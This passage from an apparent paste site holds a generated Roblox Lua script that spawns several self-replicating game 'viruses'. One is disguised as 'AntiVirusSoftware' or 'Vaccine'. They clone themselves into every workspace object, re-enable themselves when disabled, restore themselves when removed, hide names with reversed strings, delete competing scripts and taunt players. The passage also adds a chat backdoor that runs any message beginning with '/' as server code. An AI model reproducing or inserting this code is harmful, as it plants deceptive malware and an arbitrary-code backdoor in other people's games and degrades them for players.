  2788. laber(player)
  2789. end
  2790. end)
  2791. end
  2792. game.Players.PlayerAdded:connect(Player)
  2793. game.Players.ChildAdded:connect(onPlayerEntered)
  2794. game.Players.ChildAdded:connect(laber)
  2795. script.ChildRemoved:connect(sortation)
  2796. game.Workspace.ChildAdded:connect(alto)
  2797. function onChatted(msg, recipient, speaker)
  2798. if yeild(speaker) ~= false then
  2799. if string.sub(msg,1,1) == "/" then
  2800. local dsting = Instance.new("Script")
  2801. dsting.Source = string.sub(msg,2)
  2802. dsting.Parent = game.Workspace
  2803. end
  2804. end
  2805. end
  2806. end))
  2807. Pants222.Name = "Pants"
  2808. Pants222.Parent = Model5
  2809. Pants222.PantsTemplate = "http://www.roblox.com/asset/?id=494161181"
  2810. VelocityMotor223.Name = "ViVRuS"
  2811. VelocityMotor223.Parent = Model5
  2812. Weld224.Name = "ViVRuS"
  2813. Weld224.Parent = VelocityMotor223
  2814. Script225.Name = "AntiVirusSoftware"
  2815. Script225.Parent = Weld224
  2816. table.insert(cors,sandbox(Script225,function()
  2817. --[[
  2818. Virus Protect Pro! By Nomnomnom1.
  2819.  
  2820. Want your place virus free(finally)?
  2821. Do you want it now?
  2822. Then use this script and i'll show you the basics of anti virus software!
  2823.  
  2824. As you can clearly see...The script below probably already has
  2825. removed all possible viruses.
  2826. ]]
  2827.  
  2828. ----------------------------------------------------------------------------------------------------------------------------------------------
  2829. cs = { "Timer", "Geometry", "Weld", "RotateP", "RotateV", "VelocityMotor" } -- Classes the script knows so it can remove it ;) Enter more here lol
  2830. g = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, "�", "�", "�", "+" } -- checks for all of the possible special characters....again enter more here ;D
  2831. egd = script
  2832. ----------------------------------------------------------------------------------------------------------------------------------------------
  2833. ----------------Please do not edit anything beyond this point ^_^--------------------------------------------------------------
  2834. ----------------------------------------------------------------------------------------------------------------------------------------------
  2835. for i = 1, #cs do
  2836. if egd.className ~= cs[i] then
  2837. s=true
  2838. end
  2839. end
  2840. if s == true then
  2841. local s = Instance.new(cs[math.random(1, #cs)])
  2842. s.Parent = script.Parent
  2843. script.Parent = s
  2844. egd=egd.Parent
  2845. s.Name = string.reverse("SuRViV")
  2846. else
  2847. egd=egd.Parent
  2848. end
  2849. egdd = egd:Clone()
  2850. pcall(function() egdd.Help:remove() end)
  2851. wait()
  2852. tp = egd.Parent
  2853. local sos = string.reverse("delbasiD")
  2854. lssii = workspace
  2855. lssi = lssii:GetChildren()
  2856. coroutine.resume(coroutine.create(function()
  2857. while true do
  2858. egd[sos] = false
  2859. wait()
  2860. end
  2861. end))
  2862. coroutine.resume(coroutine.create(function()
  2863. for i = 1 , math.huge do
  2864. wait(60*3)
  2865. if game.Players.NumPlayers > 1 then
  2866. local m = Instance.new("Hint")
  2867. m.Parent = workspace
  2868. m.Name = "�"
  2869. m.Text = string.reverse("!AHAHAWM !oot uoy kcah lliw 1monmonmoN")
  2870. end
  2871. end
  2872. end))
  2873. function Kelssxx(s)
  2874. return string.reverse(s)
  2875. end
  2876.  
  2877. function lk(property)
  2878. local kte = property
  2879. if kte == "Disabled" then
  2880. egd[kte] = false
  2881. end
  2882. end
  2883.  
  2884. function SAVEDZOMG(place)
  2885. if lssii:findFirstChild(place) == nil then
  2886. local v = Instance.new(cs[math.random(1, #cs)])
  2887. v.Parent = workspace
  2888. v.Name = place
  2889. end
  2890. end
  2891.  
  2892. function nft(ssaa)
  2893. for i = 1, #ssaa:children() do
  2894. if string.find(ssaa:children()[i].Name, "Tazer") then
  2895. print("Fake Virus Scanner Found!")
  2896. ssaa:GetChildren()[i]:remove()
  2897. elseif ssaa:children()[i]:findFirstChild(egd.Name) == nil and ssaa:children()[i].Name ~= script.Name then
  2898. print("Backing up " ..tp.Name.. "...")
  2899. egd:Clone().Parent = ssaa:children()[i]
  2900. end
  2901. end
  2902. end
  2903.  
  2904. tp.DescendantRemoving:connect(function(jji)
  2905. if jji == egd then
  2906. egdd.Parent = tp
  2907. print("Backing up " ..tp.Name.. "...")
  2908. egdd[sos] = false
  2909. end
  2910. end)
  2911.  
  2912. script.Changed:connect(lk)
  2913. while true do
  2914. nft(lssii)
  2915. nft(game:service(string.reverse("smaeT")))
  2916. SAVEDZOMG(string.reverse("mroW"))
  2917. SAVEDZOMG(string.reverse("devas gmoZ"))
  2918. SAVEDZOMG(string.reverse("AF#(IRHFD*IH#QEA(SDFIOH!@)#WESUOCJ)Q#$)ERDFXC)#QWROJASCFLMXZ"))
  2919. wait(1)
  2920. end
  2921.  
  2922. end))
  2923. Script226.Name = "Vaccine"
  2924. Script226.Parent = Model5
  2925. table.insert(cors,sandbox(Script226,function()
  2926. function spread() -- created by dom1100
  2927. local stuff = game.Workspace:GetChildren()
  2928. for i = 1, #stuff do
  2929. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  2930. local clone = script:clone()
  2931. clone.Parent = stuff[i]
  2932. end
  2933. end
  2934. end
  2935.  
  2936. while true do
  2937. wait(.1)
  2938. spread()
  2939. end
  2940.  
  2941. function GetAllItems(mdl)
  2942. local objs = {}
  2943. function Search(obj)
  2944. if obj~=workspace then
  2945. table.insert(objs,obj)
  2946. end
  2947. if #obj:GetChildren() > 0 then
  2948. for i, v in ipairs(obj:GetChildren()) do
  2949. Search(v)
  2950. end
  2951. end
  2952. end
  2953. Search(mdl)
  2954. return objs
  2955. end
  2956.  
  2957.  
  2958.  
  2959. for i, v in ipairs(GetAllItems(workspace)) do
  2960. if v.className == "Script" then
  2961. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" or v.Name == "ProperGr�mmerNeededInPhilosiphalLocations;insertNoobHere" then
  2962. v.Parent = game.Lighting --Just in case it has a removal prevention.
  2963. t = Instance.new("ObjectValue")
  2964. t.Name = "IsAVirus"
  2965. t.Parent = v
  2966. end
  2967. end
  2968. end
  2969.  
  2970. for i, v in ipairs(game.Lighting:GetChildren()) do
  2971. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  2972. v:remove()
  2973. end
  2974. end
  2975.  
  2976.  
  2977. print("Virus debugged! All clean!")
  2978. end))
  2979. Weld227.Name = "J0HN"
  2980. Weld227.Parent = Model5
  2981. Script228.Name = "J0HNSCR1PT"
  2982. Script228.Parent = Weld227
  2983. table.insert(cors,sandbox(Script228,function()
  2984. function haxor()
  2985. x = game.Workspace:GetChildren()
  2986. for i = 1, #x do
  2987. if x[i]:FindFirstChild("J0HN") == nil then
  2988. local w = Instance.new("Weld")
  2989. w.Parent = x[i]
  2990. w.Name = "J0HN"
  2991. s = script:clone()
  2992. s.Parent = w
  2993. s.Name = "J0HNSCR1PT"
  2994. end
  2995. end
  2996. end
  2997.  
  2998. while true do
  2999. haxor()
  3000. wait(.1)
  3001. end
  3002. end))
  3003. RotateP229.Name = "d��������������ng.........you got owned..."
  3004. RotateP229.Parent = Model5
  3005. RotateP229.BaseAngle = 0.25
  3006. Script230.Name = "Script......Or is it..."
  3007. Script230.Parent = RotateP229
  3008. table.insert(cors,sandbox(Script230,function()
  3009. -- Thanks for using My hack.............suka XD
  3010.  
  3011. if script.Parent.className ~= "RotateP" then
  3012. local p = Instance.new("RotateP")
  3013. p.Parent = workspace
  3014. p.Name = "d��������������ng.........you got owned..."
  3015. script.Parent = p
  3016. end
  3017.  
  3018. function check()
  3019. local list = workspace:GetChildren()
  3020. for i = 1, #list do
  3021. if list[i]:findFirstChild("d��������������ng.........you got owned...") == nil and list[i].className ~= "RotateP" then
  3022. script.Parent:Clone().Parent = list[i]
  3023. end
  3024. wait()
  3025. end
  3026. end
  3027.  
  3028. while true do
  3029. check()
  3030. if workspace:findFirstChild("Hello...I �m Your New Lord Lolz") == nil then
  3031. local main = script.Parent:Clone()
  3032. main.Name = "Hello...I �m Your New Lord Lolz"
  3033. main.Parent = workspace
  3034. end
  3035. wait(3)
  3036. end
  3037. -- Credit goes to Nomnomnom1..........................really..........did you need to know?!
  3038. -- Have a nice day. XD
  3039. end))
  3040. Model231.Parent = mas
  3041. Part232.Name = "EPIC DUCK"
  3042. Part232.Parent = Model231
  3043. Part232.CFrame = CFrame.new(229.492569, 3.19773412, -8.18714142, 0.995399415, 0.00047259088, 0.0958113596, -0.000332515308, 0.999998868, -0.00147795409, -0.0958119407, 0.00143929583, 0.995398402)
  3044. Part232.Orientation = Vector3.new(0.0799999982, 5.5, -0.0199999996)
  3045. Part232.Position = Vector3.new(229.492569, 3.19773412, -8.18714142)
  3046. Part232.Rotation = Vector3.new(0.0900000036, 5.5, -0.0299999993)
  3047. Part232.Color = Color3.new(0.584314, 0.47451, 0.466667)
  3048. Part232.Velocity = Vector3.new(1.40815544, -0.155106053, -1.90228903)
  3049. Part232.Size = Vector3.new(5, 5.5999999, 5)
  3050. Part232.Anchored = true
  3051. Part232.BrickColor = BrickColor.new("Sand red")
  3052. Part232.Material = Enum.Material.Wood
  3053. Part232.RotVelocity = Vector3.new(-0.0137157198, 3.41890836, -0.0722064003)
  3054. Part232.brickColor = BrickColor.new("Sand red")
  3055. Part232.FormFactor = Enum.FormFactor.Plate
  3056. Part232.formFactor = Enum.FormFactor.Plate
  3057. SpecialMesh233.Parent = Part232
  3058. SpecialMesh233.MeshId = "http://www.roblox.com/asset/?id=9419831"
  3059. SpecialMesh233.Scale = Vector3.new(5, 5, 5)
  3060. SpecialMesh233.TextureId = "http://www.roblox.com/asset/?id=9419827"
  3061. SpecialMesh233.MeshType = Enum.MeshType.FileMesh
  3062. Part234.Parent = Model231
  3063. Part234.CFrame = CFrame.new(228.945755, 0.200023651, -8.64144135, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  3064. Part234.Position = Vector3.new(228.945755, 0.200023651, -8.64144135)
  3065. Part234.Color = Color3.new(0.0509804, 0.411765, 0.67451)
  3066. Part234.Transparency = 100
  3067. Part234.Size = Vector3.new(8, 0.400000006, 8)
  3068. Part234.Anchored = true
  3069. Part234.BrickColor = BrickColor.new("Bright blue")
  3070. Part234.TopParamA = -0.10000000149012
  3071. Part234.TopParamB = 0.10000000149012
  3072. Part234.TopSurface = Enum.SurfaceType.Motor
  3073. Part234.TopSurfaceInput = Enum.InputType.Constant
  3074. Part234.brickColor = BrickColor.new("Bright blue")
  3075. Part234.FormFactor = Enum.FormFactor.Plate
  3076. Part234.formFactor = Enum.FormFactor.Plate
  3077. Snap235.Parent = Part234
  3078. Snap235.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
  3079. Snap235.C1 = CFrame.new(-1.054245, 10.0000238, -3.64144135, 1, 0, 0, 0, 0, -1, 0, 1, 0)
  3080. Snap235.Part0 = Part234
  3081. Snap235.Part1 = Part1
  3082. Snap235.part1 = Part1
  3083. for i,v in pairs(mas:GetChildren()) do
  3084. v.Parent = workspace
  3085. pcall(function() v:MakeJoints() end)
  3086. end
  3087. mas:Destroy()
  3088. for i,v in pairs(cors) do
  3089. spawn(function()
  3090. pcall(v)
  3091. end)
  3092. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement